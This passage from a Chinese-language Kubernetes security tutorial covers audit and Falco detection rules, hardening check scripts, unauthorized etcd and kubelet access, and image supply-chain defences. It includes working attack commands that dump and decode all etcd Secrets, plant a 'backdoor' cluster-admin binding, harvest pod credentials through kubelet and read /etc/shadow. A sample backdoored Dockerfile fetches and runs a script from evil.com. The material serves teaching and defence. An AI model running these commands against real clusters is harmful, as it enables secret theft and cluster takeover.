apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# ★ 记录所有 Secret 的读取
- level: Metadata
resources:
- group: ""
resources: ["secrets"]
verbs: ["get", "list", "watch"]
# ★ 记录所有 exec/attach(进入容器的行为)
- level: RequestResponse
resources:
- group: ""
resources: ["pods/exec", "pods/attach", "pods/portforward"]
# ★ 记录所有 RBAC 变更(后门最爱)
- level: RequestResponse
resources:
- group: "rbac.authorization.k8s.io"
resources: ["clusterroles", "clusterrolebindings", "roles", "rolebindings"]
# ★ 记录特权 Pod 的创建
- level: RequestResponse
resources:
- group: ""
resources: ["pods"]
verbs: ["create"]
# 其他请求只记元数据,避免日志爆炸
- level: Metadata
Falco 运行时检测规则示例(能实时发现攻击行为):
# falco_rules.yaml
- rule: 容器内读取 SA Token
desc: 检测容器里读取 Kubernetes ServiceAccount Token 的行为
condition: >
container and
open_read and
fd.name startswith /var/run/secrets/kubernetes.io/serviceaccount
output: >
容器读取了 SA Token(user=%user.name container=%container.name
image=%container.image.repository file=%fd.name)
priority: WARNING
- rule: 容器里执行 kubectl 或 curl 访问 K8s API
desc: 检测容器里访问 K8s API Server
condition: >
container and
(proc.name in (kubectl, curl, wget)) and
(proc.cmdline contains "kubernetes.default" or
proc.cmdline contains "KUBERNETES_SERVICE_HOST")
output: >
容器内访问 K8s API(user=%user.name container=%container.name cmd=%proc.cmdline)
priority: CRITICAL
- rule: 挂载 docker.sock
desc: 检测容器挂载了 Docker Socket(高危)
condition: >
container and
fd.name = "/var/run/docker.sock"
output: >
容器访问 docker.sock(container=%container.name image=%container.image.repository)
priority: CRITICAL
8.3.8 集群安全复测脚本
cat > /tmp/verify_k8s.sh <<'SCRIPT'
#!/bin/bash
# K8s 集群安全加固复测
pass=0; fail=0
ok() { echo " ✅ $1"; pass=$((pass+1)); }
bad() { echo " ❌ $1 —— $2"; fail=$((fail+1)); }
warn() { echo " ⚠️ $1"; }
echo "=== K8s 集群安全复测 ==="
echo "集群:$(kubectl config current-context)"
echo ""
# 1. 检查挂载 SA Token 的 Pod
echo "--- [1] 默认挂载 SA Token 的 Pod(应尽可能少)---"
N=$(kubectl get pods -A -o json | jq -r '
.items[] | select(.spec.automountServiceAccountToken != false) |
select(.spec.serviceAccountName != null) |
"\(.metadata.namespace)/\(.metadata.name)"' | wc -l)
TOTAL=$(kubectl get pods -A --no-headers 2>/dev/null | wc -l)
echo " $N / $TOTAL 个 Pod 挂载了 SA Token"
[ "$N" -eq 0 ] && ok "1. 所有 Pod 均禁用 SA Token 自动挂载" \
|| warn "1. 有 $N 个 Pod 挂载了 SA Token,确认是否真的需要"
# 2. cluster-admin 绑定(应只有系统默认的)
echo ""
echo "--- [2] cluster-admin 权限绑定(★ 后门最爱)---"
kubectl get clusterrolebindings -o json | jq -r '
.items[] | select(.roleRef.name=="cluster-admin") |
" \(.metadata.name) → \(.subjects[]? | "\(.kind)/\(.name)")"'
C=$(kubectl get clusterrolebindings -o json | jq -r '
[.items[] | select(.roleRef.name=="cluster-admin")] | length')
[ "$C" -le 1 ] && ok "2. cluster-admin 绑定数量正常($C 个)" \
|| bad "2. 有 $C 个 cluster-admin 绑定" "逐一确认每个都是必要的"
# 3. 危险权限
echo ""
echo "--- [3] 危险 RBAC 权限检查 ---"
DANGER=$(kubectl get clusterroles -A -o json | jq -r '
.items[] | select(.metadata.name | test("^system:") | not) |
. as $r | ($r.rules[]?) |
select(.verbs[]? == "*" or .resources[]? == "*") |
" \($r.metadata.name): verbs=\(.verbs) resources=\(.resources)"')
if [ -n "$DANGER" ]; then echo "$DANGER"; bad "3. 存在通配权限的 ClusterRole" "应改为最小化授权"
else ok "3. 无通配权限的自定义 ClusterRole"; fi
# 4. 特权容器
echo ""
echo "--- [4] 特权容器检查 ---"
PRIV=$(kubectl get pods -A -o json | jq -r '
.items[] | . as $p | ($p.spec.containers[]?) |
select(.securityContext.privileged == true) |
" \($p.metadata.namespace)/\($p.metadata.name)"')
if [ -n "$PRIV" ]; then echo "$PRIV"; bad "4. 存在特权容器" "立即整改,并启用 PSA"
else ok "4. 无特权容器"; fi
# 5. 挂载 docker.sock
echo ""
echo "--- [5] 挂载 docker.sock 检查 ---"
DS=$(kubectl get pods -A -o json | jq -r '
.items[] | . as $p |
(if ($p.spec.volumes[]?.hostPath.path == "/var/run/docker.sock") then
" \($p.metadata.namespace)/\($p.metadata.name)" else empty end)')
if [ -n "$DS" ]; then echo "$DS"; bad "5. 有 Pod 挂载 docker.sock" "等价于宿主机 root"
else ok "5. 无 Pod 挂载 docker.sock"; fi
# 6. hostNetwork / hostPID
echo ""
echo "--- [6] hostNetwork / hostPID 检查 ---"
HP=$(kubectl get pods -A -o json | jq -r '
.items[] | select(.spec.hostNetwork == true or .spec.hostPID == true) |
" \(.metadata.namespace)/\(.metadata.name)"')
[ -n "$HP" ] && { echo "$HP"; warn "6. 有 Pod 使用 hostNetwork/hostPID"; } || ok "6. 无 Pod 使用 hostNetwork/hostPID"
# 7. PSA 标签
echo ""
echo "--- [7] Pod Security Admission 标签 ---"
kubectl get ns --show-labels | grep -v "kube-\|default" | awk '{print " " $1 ": " $NF}' | head -10
NOP=$(kubectl get ns -o json | jq -r '
[.items[] | select(.metadata.name | test("^(kube-|default)") | not) |
select(.metadata.labels["pod-security.kubernetes.io/enforce"] == null)] | length')
[ "$NOP" -eq 0 ] && ok "7. 所有业务命名空间已配置 PSA" \
|| bad "7. 有 $NOP 个命名空间未配置 PSA" "建议设为 restricted"
# 8. etcd 加密
echo ""
echo " [8] etcd 静态加密:检查 kube-apiserver 的 --encryption-provider-config 参数"
echo " ps aux | grep kube-apiserver | grep encryption-provider-config"
# 9. NetworkPolicy
echo ""
echo "--- [9] NetworkPolicy 覆盖 ---"
NP=$(kubectl get netpol -A --no-headers 2>/dev/null | wc -l)
[ "$NP" -gt 0 ] && ok "9. 已配置 $NP 条 NetworkPolicy" \
|| bad "9. 未配置任何 NetworkPolicy" "★ 内网全互通,攻击者可自由横向移动"
# 10. Secret 数量与轮换
echo ""
echo " [10] Secret 数量:$(kubectl get secrets -A --no-headers | wc -l)"
echo " 建议:① 用 External Secrets Operator 对接 Vault/KMS"
echo " ② 定期轮换(尤其是 SA Token 和云厂商 AK)"
echo ""
echo "结果:通过 $pass,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 K8s 加固验证通过" || echo "⚠️ 有 $fail 项需要处理"
SCRIPT
chmod +x /tmp/verify_k8s.sh
8.3.9 面试怎么讲(1.5 分钟版本)
“K8s 这块我做过一个完整的链路复现:从容器里的一个漏洞,到接管整个集群。
链条是这样的: 攻击者通过应用漏洞拿到容器 Shell,然后发现
/var/run/secrets/kubernetes.io/serviceaccount/token—— 这是 K8s 默认给每个 Pod 挂载的 SA Token。 他拿这个 Token 去调 K8s API,用SelfSubjectRulesReview一查权限, 如果发现绑定了cluster-admin,那集群基本就完了: 能偷所有 Secret(里面通常有云厂商 AK/SK、数据库密码、HTTPS 私钥), 能创建后门(伪装成系统组件的特权 Pod 或 CronJob), 能 exec 进任意 Pod(包括跑在 Master 上的),最后逃逸到 Node。我自己用 kind 搭集群复现过,最深的一个感受是: 绝大多数应用根本不需要访问 K8s API,但 Token 还是默认挂载了—— 所以我们的第一条防线就是
automountServiceAccountToken: false,这一行能防住 90% 的利用。完整的加固我们做了七层: ① 不开自动挂载 Token; ② RBAC 最小化,用 Role 不用 ClusterRole,绝不给
*和escalate/bind这类能提权的权限; ③ Secret 用 External Secrets Operator 对接 Vault,K8s 里不存明文,且 1 小时自动轮换; ④ PSA 设成 restricted,特权 Pod 根本创建不出来; ⑤ NetworkPolicy 默认拒绝,然后按需放行——这一条特别关键, 因为即使 Token 和权限都丢了,网络不通攻击者还是调不了 API; ⑥ kube-apiserver 开审计日志,重点告警“读 Secret”“创建 ClusterRoleBinding”“pods/exec”; ⑦ 用 Falco 做运行时检测。另外提一句,我们还排查了
挂载 docker.sock的 Pod—— 这在 CI 工具里特别常见,但它等价于把宿主机 root 交出去, 后来我们换成了 Kaniko 构建镜像,不需要 docker daemon。“
追问准备:
| 追问 | 怎么答 |
|---|---|
| “SA Token 在 K8s 1.24 之后有什么变化?” | 1.24 起 Token 改成 Projected Volume,默认 1 小时过期,且不再自动创建 Secret 对象。但默认仍会挂载,所以还是要显式关掉 |
| “etcd 加密能防住什么?” | 只能防“直接读 etcd 数据文件“(如备份泄露、硬盘被偷)。有 RBAC 权限的人通过 API 读,拿到的还是明文 |
| “怎么快速判断集群有没有被入侵?” | ① 查 cluster-admin 绑定有没有多出来的;② 对比 kube-system 的资源清单;③ 查审计日志里的批量读 Secret 和 pods/exec;④ 查有没有伪装成系统组件的 Pod/CronJob |
| “NetworkPolicy 为什么重要?” | 它是最后一道物理屏障。即使 Token 和 RBAC 权限都配置错了,网络不通就调不了 API。但需要 CNI 插件支持(Calico/Cilium 支持,Flannel 不支持) |
| “容器逃逸和 K8s 接管的关系?” | 是两个方向:容器逃逸是“从容器出来到 Node”(纵向),K8s 接管是“从一个 Pod 到所有 Pod”(横向)。真实攻击里两者会交替使用 |
8.4 etcd 与 kubelet 未授权:集群的“两扇后门”
8.3 讲的是“有 Token 之后能干什么“, 这一节讲不需要任何漏洞就能直接进集群的两个入口: etcd(集群的数据库)和kubelet(每个节点的 agent)。
这两个东西默认可能就是没鉴权的,属于“配置疏忽”而非“代码漏洞”。
8.4.1 etcd 未授权
etcd 是什么:K8s 的唯一数据库。 集群里所有东西——Pod 定义、Service、ConfigMap、Secret——都存在 etcd 里。
为什么危险:拿到 etcd 的读写权限 = 拿到整个集群(绕过 RBAC!)。 因为你可以直接改数据库,K8s 的 API Server 只是 etcd 的一个“前端”。
# ① 探测(默认端口 2379)
curl -s http://127.0.0.1:2379/version
# 预期:
# {"etcdserver":"3.5.9","etcdcluster":"3.5.0"}
# ★ 能返回版本 = 未授权
# ② 列出所有 key
etcdctl --endpoints=http://127.0.0.1:2379 get / --prefix --keys-only | head -50
# 预期:
# /registry/pods/vuln/vuln-app
# /registry/secrets/vuln/cloud-credentials
# /registry/secrets/kube-system/coredns-token-xxxxx
# /registry/configmaps/kube-system/coredns
# ...
# ③ ★★ 直接读 Secret(★ 注意:这是绕过 K8s RBAC 的!)
etcdctl --endpoints=http://127.0.0.1:2379 get /registry/secrets/vuln/cloud-credentials
# 预期输出:
# /registry/secrets/vuln/cloud-credentials
# {"kind":"Secret","apiVersion":"v1","metadata":{"name":"cloud-credentials",...},
# "data":{"AWS_ACCESS_KEY_ID":"TFRBSTV0WFhY...","DB_PASSWORD":"UHJvZERC..."}}
# ★ base64 解码就是明文
# ④ 批量拖走所有 Secret
etcdctl --endpoints=http://127.0.0.1:2379 get /registry/secrets --prefix > /tmp/all_etcd_secrets.txt
python3 - <<'PY'
import re, base64, json
raw = open('/tmp/all_etcd_secrets.txt', encoding='utf-8', errors='ignore').read()
# etcdctl 的输出是 "key\nvalue\nkey\nvalue\n"
blocks = raw.split('\n')
for i in range(0, len(blocks)-1, 2):
key = blocks[i]
val = blocks[i+1]
if '/registry/secrets/' not in key:
continue
print(f"\n=== {key} ===")
try:
d = json.loads(val)
for k, v in d.get('data', {}).items():
try:
print(f" {k} = {base64.b64decode(v).decode('utf-8')}")
except Exception:
print(f" {k} = {v[:60]}...(解码失败)")
except Exception as e:
print(f" (解析失败:{e})")
PY
写入(更狠:直接创建 cluster-admin):
# ★ 直接往 etcd 里写一条 ClusterRoleBinding,给自己 cluster-admin 权限
# 这绕过了 K8s API Server 的所有检查
etcdctl --endpoints=http://127.0.0.1:2379 put /registry/clusterrolebindings/backdoor \
'{"kind":"ClusterRoleBinding","apiVersion":"rbac.authorization.k8s.io/v1","metadata":{"name":"backdoor"},"subjects":[{"kind":"User","name":"attacker","apiGroup":"rbac.authorization.k8s.io"}],"roleRef":{"kind":"ClusterRole","name":"cluster-admin","apiGroup":"rbac.authorization.k8s.io"}}'
# 现在用 attacker 这个用户就能做任何事(通过 API Server)
etcd 加固:
# ① 开启 TLS 客户端证书认证(★ 必须)
# kube-apiserver 的启动参数:
# --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt
# --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt
# --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key
# etcd 的启动参数:
# --cert-file=/etc/kubernetes/pki/etcd/server.crt
# --key-file=/etc/kubernetes/pki/etcd/server.key
# --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
# --client-cert-auth=true # ★ 强制客户端证书
# --peer-client-cert-auth=true
# 验证:不带证书访问应该失败
curl -k https://127.0.0.1:2379/version
# 预期:curl: (35) error:14094412:SSL routines:ssl3_read_bytes:sslv3 alert bad certificate
# ★ 报错 = 认证生效
# 带证书访问才成功
curl --cacert /etc/kubernetes/pki/etcd/ca.crt \
--cert /etc/kubernetes/pki/apiserver-etcd-client.crt \
--key /etc/kubernetes/pki/apiserver-etcd-client.key \
https://127.0.0.1:2379/version
# 预期:{"etcdserver":"3.5.9",...}
# ② 只监听内网(绝不 0.0.0.0)
# --listen-client-urls=https://172.20.0.10:2379
# --advertise-client-urls=https://172.20.0.10:2379
# ③ 防火墙限制(只允许 API Server 的 IP 访问 2379)
iptables -A INPUT -p tcp --dport 2379 ! -s 172.20.0.10 -j DROP
# ④ 开启静态加密(8.3.7 讲过)
# ⑤ 定期备份
ETCDCTL_API=3 etcdctl snapshot save /backup/etcd-$(date +%Y%m%d).db \
--cacert=... --cert=... --key=...
8.4.2 kubelet 未授权(★ 最容易中招)
kubelet 是什么:跑在每个 Node 上的 agent,负责管理本机的 Pod。 它监听 10250 端口,提供 API 供 API Server 调用(比如“在这个 Node 上创建 Pod”)。
为什么危险:kubelet 的 API 里有一个 /exec 端点——
能在任意 Pod 里执行命令。如果没鉴权,攻击者能:
① 列出这个 Node 上所有 Pod
② exec 进任意一个 Pod(包括那些挂载了宿主机根目录的)
③ 读取 Pod 里的所有环境变量和 Secret
# ① 探测(默认 10250 端口)
curl -sk https://127.0.0.1:10250/pods | python3 -m json.tool | head -40
# 预期(如果未授权):
# {"kind":"PodList","apiVersion":"v1","metadata":{},"items":[
# {"metadata":{"name":"vuln-app","namespace":"vuln",...},
# "spec":{"containers":[{"name":"app","image":"nginx:1.25-alpine",...}]},
# ...
# }
# ]}
# ★ 能看到这个 Node 上所有 Pod 的详细信息
# ② 提取所有 Pod 的环境变量(★ 经常能找到密码)
curl -sk https://127.0.0.1:10250/pods | python3 -c "
import sys, json
d = json.load(sys.stdin)
for pod in d.get('items', []):
ns = pod['metadata']['namespace']
name = pod['metadata']['name']
for c in pod['spec'].get('containers', []):
for env in c.get('env', []):
v = env.get('value') or f\"[from {env.get('valueFrom', {}).get('secretKeyRef', {}).get('name')}]\"
print(f'{ns}/{name} {env[\"name\"]}={v}')
"
# 预期:
# vuln/vuln-app AWS_ACCESS_KEY_ID=LTAI5tXXXXXXXXXXXX
# vuln/vuln-app DB_PASSWORD=Prod@Db#2026!Secure
# ★ 明文!
# ③ ★★ 在 Pod 里执行命令(GetShell)
# 需要三步:先建立 exec 的 WebSocket 连接
# 用 curl 比较麻烦,实战用 kubectl 直接连 kubelet:
kubectl --server=https://127.0.0.1:10250 --insecure-skip-tls-verify=true \
exec -it -n vuln vuln-app -- id
# 预期:
# uid=0(root) gid=0(root) groups=0(root)
# ★ 拿到 Shell 了(而且不需要经过 API Server 的鉴权!)
# ④ 更直接的方式(用 curl 发 exec 请求)
curl -sk -X POST \
"https://127.0.0.1:10250/exec/vuln/vuln-app/app?command=id&command=cat&command=/etc/shadow&input=1&output=1&tty=1" \
-H "X-Stream-Protocol-Version: v4.channel.k8s.io" \
-H "Upgrade: websocket" -H "Connection: Upgrade" \
-H "Sec-Websocket-Protocol: v4.channel.k8s.io" \
-H "Sec-Websocket-Version: 13"
★ 这个漏洞为什么这么普遍? 因为 kubelet 10250 端口默认就在每个 Node 上开着, 而且很多集群部署时用的是默认的匿名认证允许(
--anonymous-auth=true)。 更糟的是,10250 通常在内网全互通的环境里, 所以任何一个 Node 被攻破,整个集群的所有 Node 都能被横向打穿。
kubelet 加固:
# ① 关闭匿名认证(★ 最重要)
# 修改 /var/lib/kubelet/config.yaml
apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
anonymous:
enabled: false # ★ 关掉!
webhook:
enabled: true # 让 API Server 来验证请求
x509:
clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
mode: Webhook # ★ 用 Webhook 授权(交给 API Server 判断)
# ❌ 危险配置:authorization.mode: AlwaysAllow(默认 allow 一切)
# ② 重启 kubelet
systemctl restart kubelet
# ③ 验证
curl -sk https://127.0.0.1:10250/pods
# 预期:
# {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure",
# "message":"Unauthorized","reason":"Unauthorized","code":401}
# ★ 401 = 加固生效
# ④ 防火墙限制 10250 只允许 API Server 访问
iptables -A INPUT -p tcp --dport 10250 ! -s <apiserver-ip> -j DROP
# ⑤ 关闭只读端口 10255(老版本有,它完全无鉴权)
# kubelet 启动参数:--read-only-port=0
一键检测脚本:
cat > /tmp/verify_kubelet.sh <<'SCRIPT'
#!/bin/bash
# kubelet / etcd 未授权检测
NODE="${1:-127.0.0.1}"
echo "=== 节点 $NODE 未授权检测 ==="
# 1. kubelet 10250
echo ""
echo "--- [1] kubelet 10250 ---"
C=$(curl -sk -m 5 -o /tmp/_pods.json -w '%{http_code}' "https://$NODE:10250/pods")
if [ "$C" = "200" ]; then
N=$(python3 -c "import json;print(len(json.load(open('/tmp/_pods.json')).get('items',[])))" 2>/dev/null)
echo " ❌ 未授权!能列出 $N 个 Pod"
echo " → 可执行:kubectl --server=https://$NODE:10250 --insecure-skip-tls-verify=true exec -it ..."
elif [ "$C" = "401" ] || [ "$C" = "403" ]; then
echo " ✅ 需要认证(HTTP $C)"
else
echo " ℹ️ HTTP $C(端口可能未开放或被防火墙拦截)"
fi
# 2. kubelet 只读端口 10255(老版本)
echo ""
echo "--- [2] kubelet 10255(只读端口,应关闭)---"
C=$(curl -s -m 5 -o /dev/null -w '%{http_code}' "http://$NODE:10255/pods")
[ "$C" = "200" ] && echo " ❌ 10255 未授权开放!" || echo " ✅ 10255 未开放(HTTP $C)"
# 3. etcd 2379
echo ""
echo "--- [3] etcd 2379 ---"
C=$(curl -s -m 5 -o /dev/null -w '%{http_code}' "http://$NODE:2379/version")
if [ "$C" = "200" ]; then
echo " ❌ etcd 未授权!可执行:etcdctl --endpoints=http://$NODE:2379 get / --prefix"
else
echo " ✅ etcd 需要认证或未开放(HTTP $C)"
fi
# 4. kube-apiserver 8080(insecure port,应关闭)
echo ""
echo "--- [4] apiserver insecure port 8080(★ 必须关闭)---"
C=$(curl -s -m 5 -o /dev/null -w '%{http_code}' "http://$NODE:8080/api/v1/namespaces")
[ "$C" = "200" ] && echo " ❌ 8080 未授权开放!这是最严重的配置错误" \
|| echo " ✅ 8080 未开放(HTTP $C)"
# 5. kube-scheduler / controller-manager
echo ""
echo "--- [5] 其他组件 ---"
for p in 10251 10252 10257 10259; do
C=$(curl -s -m 3 -o /dev/null -w '%{http_code}' "http://$NODE:$p/metrics")
[ "$C" = "200" ] && echo " ⚠️ 端口 $p 开放(可能泄露指标信息)"
done
echo " (无输出 = 正常)"
echo ""
echo "=== 修复建议 ==="
echo " kubelet: /var/lib/kubelet/config.yaml"
echo " authentication.anonymous.enabled: false"
echo " authorization.mode: Webhook"
echo " apiserver: 删除 --insecure-port=8080"
echo " etcd: 启用 --client-cert-auth=true"
SCRIPT
chmod +x /tmp/verify_kubelet.sh
8.4.3 常见端口速查表(内网扫描时用)
| 端口 | 组件 | 未授权危害 | 应该 |
|---|---|---|---|
| 2379/2380 | etcd | ★ 读写整个集群数据库 | 必须 TLS + 客户端证书 |
| 10250 | kubelet API | ★ exec 进任意 Pod | 关匿名 + Webhook 授权 |
| 10255 | kubelet 只读 | 泄露 Pod 信息 | --read-only-port=0 |
| 8080 | apiserver insecure | ★ 完全绕过鉴权 | 必须关闭 |
| 6443 | apiserver 安全端口 | 需要凭证 | 限制来源 IP |
| 10251 | kube-scheduler | 泄露调度信息 | 只监听 127.0.0.1 |
| 10252 | kube-controller-manager | 同上 | 只监听 127.0.0.1 |
| 4194 | cAdvisor | 泄露容器资源信息 | 关闭或限制 |
| 30000-32767 | NodePort Service | 直接暴露服务 | 用 Ingress 代替 |
8.5 镜像供应链攻击
这一节讲的是“你用的镜像本身就有问题”。
前面的漏洞都是“部署之后被攻破”, 供应链攻击是“从一开始就是坏的“——就像买了瓶假药, 不是药在运送途中变质,而是出厂时就是假的。
8.5.1 四种供应链攻击手法
| 手法 | 说明 | 生活类比 |
|---|---|---|
| ① 恶意基础镜像 | 攻击者在 Docker Hub 上传一个看起来正常的镜像(nginx-like、mysql-latest),里面加了后门 |
假冒品牌的充电宝,内部偷偷焊了个芯片偷你手机数据 |
| ② 依赖投毒(Dependency Confusion) | 公司内部有个私有包 company-utils,攻击者往公共 npm/Maven 仓库上传同名的高版本包,构建时被优先拉取 |
你让助理去买“XX 牌酱油”,结果货架上有个更高版本的假货,助理买了假的 |
| ③ 构建过程污染 | CI 流水线被攻破,构建时偷偷注入恶意代码 | 食品厂的工人往生产线里加了东西 |
| ④ 镜像仓库被拖库 | 攻击者拿到 Harbor/Docker Hub 的推送权限,替换了正常镜像 | 仓库管理员被收买,把真货换成了假货 |
8.5.2 动手:制作一个“带后门的镜像”
(在自己的环境里做,理解原理)
# Dockerfile.backdoor
FROM nginx:1.25-alpine
# 看起来一切正常
COPY index.html /usr/share/nginx/html/
# ★ 悄悄加的东西(真实攻击会更隐蔽)
RUN echo '* * * * * curl -s http://evil.com/beacon.sh | sh' >> /etc/crontabs/root
# ★ 或者更隐蔽:加一个开机自启的脚本
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
# ★ 或者:环境变量里藏一个反弹 shell(构建时看不出来)
ENV LD_PRELOAD=/lib/backdoor.so
# 构建
docker build -f Dockerfile.backdoor -t mycompany/nginx:1.25 .
# 推到仓库(如果是公共仓库,别人 pull 下来就中招)
# docker push mycompany/nginx:1.25
8.5.3 防御一:镜像漏洞扫描(trivy)
# 安装 trivy
# macOS: brew install trivy
# Linux:
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh \
| sh -s -- -b /usr/local/bin
# 扫描镜像
trivy image nginx:1.25-alpine
预期输出:
nginx:1.25-alpine (alpine 3.18.2)
Total: 3 (LOW: 0, MEDIUM: 2, HIGH: 1, CRITICAL: 0)
┌─────────────┬────────────────┬──────────┬──────────┬───────────────────┬───────────────┐
│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │
├─────────────┼────────────────┼──────────┼──────────┼───────────────────┼───────────────┤
│ openssl │ CVE-2023-5678 │ HIGH │ fixed │ 3.1.1-r0 │ 3.1.4-r0 │
│ libcrypto3 │ CVE-2023-5678 │ HIGH │ fixed │ 3.1.1-r0 │ 3.1.4-r0 │
└─────────────┴────────────────┴──────────┴──────────┴───────────────────┴───────────────┘
CI 里卡点(发现高危就失败):
# 只扫 HIGH 和 CRITICAL,发现就退出码 1
trivy image --exit-code 1 --severity HIGH,CRITICAL --no-progress myapp:latest
# 忽略未修复的漏洞(避免噪音太大导致大家不看)
trivy image --exit-code 1 --severity HIGH,CRITICAL --ignore-unfixed myapp:latest
8.5.4 防御二:镜像签名(cosign)
签名解决什么问题:保证镜像是你信任的人构建的,且没被改过。
生活类比:药品的防伪封条——你买的药盒封条完好,说明从出厂到你手上没被换过。
# 安装 cosign
curl -LO https://github.com/sigstore/cosign/releases/download/v2.2.3/cosign-linux-amd64
chmod +x cosign-linux-amd64 && sudo mv cosign-linux-amd64 /usr/local/bin/cosign
# ① 生成密钥对(构建方保管私钥)
cosign generate-key-pair
# 生成 cosign.key(私钥,绝不能泄露)和 cosign.pub(公钥,可以公开)
# ② 给镜像签名
cosign sign --key cosign.key myregistry/myapp:v1.0.0
# 预期:
# Pushing signature to: myregistry/myapp
# ★ 签名会作为一个特殊的 tag 推到同一个仓库(sha256-xxx.sig)
# ③ 验证签名(部署方/集群做)
cosign verify --key cosign.pub myregistry/myapp:v1.0.0
# 预期(成功):
# Verification for myregistry/myapp:v1.0.0 --
# The following checks were performed:
# - The cosign claims were validated
# - The signatures were verified against the specified public key
# [{"critical":{"identity":{"docker-reference":"myregistry/myapp"},...
# ★ 验证通过
# 验证失败的样子(镜像被替换或没签名):
# Error: no matching signatures:
# failed to verify signature
在 K8s 里强制只运行已签名的镜像(用 Kyverno):
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signature
spec:
validationFailureAction: Enforce # ★ 强制拒绝(不是只警告)
background: false
webhookTimeoutSeconds: 30
failurePolicy: Fail
rules:
- name: check-image-signature
match:
any:
- resources:
kinds:
- Pod
verifyImages:
- imageReferences:
- "myregistry/*" # 对所有来自私有仓库的镜像校验
attestors:
- entries:
- keys:
publicKeys: |-
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...(cosign.pub 的内容)
-----END PUBLIC KEY-----
# 测试:部署一个没签名的镜像应该被拒绝
kubectl run test --image=myregistry/myapp:unsigned
# 预期:
# Error from server: admission webhook "mutate.kyverno.svc-fail" denied the request:
# policy verify-image-signature.check-image-signature failed
# ★ 被拦住了
8.5.5 防御三:SBOM(镜像成分清单)
# 用 syft 生成镜像的 SBOM
syft myregistry/myapp:v1.0.0 -o cyclonedx-json > myapp-sbom.json
# 或者用 trivy(它也能生成)
trivy image --format cyclonedx --output myapp-sbom.json myregistry/myapp:v1.0.0
# 用 SBOM 做应急(比如 Log4Shell 再来一次)
jq '.components[] | select(.name | test("log4j"; "i"))' myapp-sbom.json
把 SBOM 附到镜像上( attest):
# 生成 SBOM 并附加到镜像(用 cosign attest)
syft myregistry/myapp:v1.0.0 -o spdx-json > sbom.spdx.json
cosign attest --key cosign.key --predicate sbom.spdx.json \
--type spdx myregistry/myapp:v1.0.0
# 验证并拉取
cosign verify-attestation --key cosign.pub myregistry/myapp:v1.0.0
8.5.6 防御四:最小化基础镜像
# ❌ 大而全的基础镜像(攻击面大)
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y openjdk-17-jdk curl wget vim net-tools
# 结果:镜像 800MB,里面有 bash、curl、nc、python...
# ★ 攻击者拿到 Shell 后,这些工具全都是他的武器
# ✅ 多阶段构建 + 精简运行时
FROM maven:3.9-eclipse-temurin-17 AS builder
WORKDIR /app
COPY pom.xml .
COPY src ./src
RUN mvn clean package -DskipTests
FROM eclipse-temurin:17-jre-alpine # 只有 JRE,没有 JDK 编译器
WORKDIR /app
COPY --from=builder /app/target/app.jar app.jar
RUN addgroup -S app && adduser -S app -G app
USER app # ★ 非 root
ENTRYPOINT ["java","-jar","/app/app.jar"]
# 结果:镜像 ~180MB
# ✅✅ distroless(Google 出品,极致精简)
FROM gcr.io/distroless/java17-debian12
COPY --from=builder /app/target/app.jar /app.jar
# ★ 里面【没有 shell、没有包管理器、没有 ls/cat/curl】
# 攻击者即使 RCE 了,也执行不了任何命令(没有 /bin/sh!)
# 结果:镜像 ~220MB,攻击面趋近于零
distroless 的实战价值(★ 面试加分): 大部分攻击拿到 RCE 后的第一步是下载木马、反弹 shell—— 这需要
curl/wget/bash。 distroless 镜像里这些全都没有, 所以即使Runtime.exec()能执行,攻击者也没有工具可用, 只能干瞪眼。代价:排查问题时没法
kubectl exec进去看(没有 shell)。 解决方案:用 ephemeral containers(临时调试容器):kubectl debug -it mypod --image=busybox --target=app
8.5.7 供应链安全检查清单
cat > /tmp/verify_supply_chain.sh <<'SCRIPT'
#!/bin/bash
# 镜像供应链安全检查
IMAGE="${1:-nginx:latest}"
echo "=== 镜像供应链检查:$IMAGE ==="
echo ""
echo "--- [1] 漏洞扫描 ---"
trivy image --severity HIGH,CRITICAL --no-progress "$IMAGE" 2>/dev/null | tail -20
echo ""
echo "--- [2] 镜像来源 ---"
docker inspect "$IMAGE" --format ' 作者/标签:{{.Config.Labels}}' 2>/dev/null
echo " 建议:只用官方镜像或自建 Harbor 的镜像,不用来路不明的第三方镜像"
echo ""
echo "--- [3] 运行用户 ---"
U=$(docker run --rm --entrypoint="" "$IMAGE" id -u 2>/dev/null)
[ "$U" = "0" ] && echo " ❌ 以 root 运行(uid=0)" || echo " ✅ 非 root 运行(uid=$U)"
echo ""
echo "--- [4] 是否有 shell ---"
docker run --rm --entrypoint="" "$IMAGE" which sh bash 2>/dev/null \
&& echo " ⚠️ 镜像内有 shell(攻击者可利用)" \
|| echo " ✅ 无 shell(distroless 类镜像,攻击面小)"
echo ""
echo "--- [5] 敏感文件检查 ---"
docker run --rm --entrypoint="" "$IMAGE" sh -c '
for f in /root/.ssh/id_rsa /etc/shadow /.dockerenv /var/run/docker.sock; do
[ -e "$f" ] && echo " ⚠️ 发现敏感文件:$f"
done
echo " 检查环境变量中的密钥:"
env | grep -iE "password|secret|token|key" | sed "s/=.*/=***/" | sed "s/^/ /"
' 2>/dev/null
echo ""
echo "--- [6] 生成 SBOM ---"
echo " syft $IMAGE -o cyclonedx-json > sbom.json"
echo ""
echo "--- [7] 签名状态 ---"
echo " cosign verify --key cosign.pub $IMAGE"
SCRIPT
chmod +x /tmp/verify_supply_chain.sh
8.6 第八章总结
8.6.1 速查表
| 想查什么 | 看哪节 |
|---|---|
| 4C 安全模型 | 8.0 |
| 容器逃逸三种手法 | 8.1 |
| 特权容器逃逸(mount 宿主机磁盘) | 8.1.1 |
| docker.sock 逃逸 | 8.1.2 |
| 内核漏洞逃逸(Dirty Pipe)与防御 | 8.1.3 |
